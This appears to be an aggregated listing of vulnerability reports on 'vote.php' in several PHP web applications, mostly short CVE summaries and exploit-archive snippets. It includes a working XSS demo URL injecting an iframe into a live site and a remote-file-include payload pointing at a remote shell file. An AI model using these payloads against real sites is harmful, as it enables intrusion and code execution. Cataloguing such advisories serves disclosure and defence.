PHP168 V6.02 vote.php存在跨站漏洞

PHP168整站是PHP领域当前功能最强大的建站系统，代码全部开源，可极其方便的进行二次开发，所有功能模块可以自由安装与删除，个人用户完全免费使 用。 跨站demo: http://v6.php168.com/do/vote.php?job=show&cid=%22%3E%3Ciframe%20src=http://www.zhuba.net%3E PHP168 V6.02 等待补丁 /do/vote.php?job=show&cid=%22%3E%3Ciframe%20src=http://www.zhuba.net%3E...

Directory traversal

Directory traversal vulnerability in vote.php in Good/Bad Vote allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the id parameter in a dovote action. NOTE: some of these details are obtained from third party information...

CVE-2009-4683

Directory traversal vulnerability in vote.php in Good/Bad Vote allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the id parameter in a dovote action. NOTE: some of these details are obtained from third party information...

CVE-2009-4682

Cross-site scripting XSS vulnerability in vote.php in Good/Bad Vote allows remote attackers to inject arbitrary web script or HTML via the id parameter in a vote action...

CVE-2009-4682: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in vote.php in Good/Bad Vote allows remote attackers to inject arbitrary web script or HTML via the id parameter in a vote action...

CVE-2009-4683: Improper Limitation of a Pathname to a Restricted Directory

Directory traversal vulnerability in vote.php in Good/Bad Vote allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the id parameter in a dovote action. NOTE: some of these details are obtained from third party information...

CVE-2008-7091: Improper Neutralization of Special Elements used in an SQL Command

Multiple SQL injection vulnerabilities in Pligg 9.9 and earlier allow remote attackers to execute arbitrary SQL commands via the 1 id parameter to vote.php, which is not properly handled in libs/link.php; 2 id parameter to trackback.php; 3 an unspecified parameter to submit.php; 4 requestTitle...

CVE-2009-2428: Improper Neutralization of Special Elements used in an SQL Command

Multiple SQL injection vulnerabilities in Tausch Ticket Script 3 allow remote attackers to execute arbitrary SQL commands via the 1 userid parameter to suchauftraegeuser.php and the 2 descr parameter to vote.php; and other unspecified vectors...

CVE-2008-6031

The CVE-2008-6031 entry describes a SQL injection vulnerability in vote.php of WSN Links versions 2.22, 2.23, and note that 2.34 is also vulnerable. The vulnerability originates from handling the id parameter, allowing remote attackers to execute arbitrary SQL commands. Connected documents corrob...

CVE-2008-6031: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in vote.php in WSN Links 2.22 and 2.23 allows remote attackers to execute arbitrary SQL commands via the id parameter. NOTE: it was later reported that 2.34 is also vulnerable...

WSN Links 2.222.23 - vote.php SQL Injection

WSN Links 2.222.23 - vote.php SQL Injection WSN Links 2.23 AND 2.22 vote.php - SQL Injection Vulnerability http://scripts.webmastersite.net/wsnlinks/ ---------------------------------------------------------- Bug founded by d3v1l Date: 21.09.2008 [email protected]...

WSN Links 2.22/2.23 - 'vote.php' SQL Injection

WSN Links 2.23 AND 2.22 vote.php - SQL Injection Vulnerability http://scripts.webmastersite.net/wsnlinks/ ---------------------------------------------------------- Bug founded by d3v1l Date: 21.09.2008 [email protected] ----------------------------------------------------------- Greetz tO:-...

WSN Links 2.22/2.23 (vote.php) Remote SQL Injection Vulnerability

No description provided by source. WSN Links 2.23 AND 2.22 vote.php - SQL Injection Vulnerability http://scripts.webmastersite.net/wsnlinks/ ---------------------------------------------------------- Bug founded by d3v1l Date: 21.09.2008 [email protected]...

wsnlinksvote-sql.txt

1 WSN Links 2.23 AND 2.22 vote.php - SQL Injection Vulnerability http://scripts.webmastersite.net/wsnlinks/ ---------------------------------------------------------- Bug founded by d3v1l Date: 21.09.2008 [email protected] ----------------------------------------------------------- Greetz tO:-...

WSN Links 2.22/2.23 (vote.php) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ================================================================= WSN Links 2.22/2.23 vote.php Remote SQL Injection Vulnerability ================================================================= WSN Links 2.23 AND 2.22 vote.php - SQL...

Sql injection

SQL injection vulnerability in vote.php in DeltaScripts PHP Links 1.3 and earlier allows remote attackers to execute arbitrary SQL commands via the id parameter...

CVE-2008-0565

SQL injection vulnerability in vote.php in DeltaScripts PHP Links 1.3 and earlier allows remote attackers to execute arbitrary SQL commands via the id parameter...

CVE-2008-0565: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in vote.php in DeltaScripts PHP Links 1.3 and earlier allows remote attackers to execute arbitrary SQL commands via the id parameter...

CVE-2007-4101: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in Madoa Poll 1.1 allow remote attackers to execute arbitrary PHP code via the Madoa parameter to 1 index.php, 2 vote.php, and 3 admin.php...

Madoa Poll v1.1 Remote File Include Vulnerabilities

Madoa Poll v1.1 Remote File Include Vulnerabilities ilker kandemir ilkerkandemiratmynet.com info: / Her$ey Vatan icin / Download: http://www.finnermark.se/madoa/Madoapoll11.zip TnX.: Ajann, Dumenci, H0tTurk, Str0ke Bug: require $Madoa . "config.php"; Exploit: index.php?Madoa=http://sheel.txt?...